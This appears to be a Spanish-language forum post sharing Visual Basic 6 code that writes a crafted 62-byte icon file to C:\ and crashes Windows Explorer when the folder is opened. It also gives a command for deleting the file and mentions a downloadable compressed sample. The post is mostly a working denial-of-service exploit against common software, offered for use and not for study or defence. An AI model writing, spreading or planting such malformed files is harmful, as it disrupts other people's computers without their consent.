Código:
Option Explicit
Dim Arr(62) As Byte
Private Sub Form_Load()
Arr(2) = 1: Arr(4) = 1: Arr(12) = 32: Arr(14) = 40
Arr(18) = 22: Arr(22) = 40: Arr(34) = 1: Arr(36) = 32
Open "C:\caca.ico" For Binary As #1
Put #1, , Arr
Close #1
End Sub
al ejecutarlo despues cuando abran la carpeta en disco C:\ explota el explorer
lo que hace crea una falsa imagen (en este caso es .ico pero puede ser cualquier otro formato) y inserta unos bits que probocan un error en el explorer al intentar obtener los datos de esta.
Para eliminar esta imagen, Ejecutar > CMD > Del C:\caca.ico
Saludos
a por las dudas el codigo es en Visual Basic
aca un ejemplo comprimido de la imagen
la vajan y la descomprimen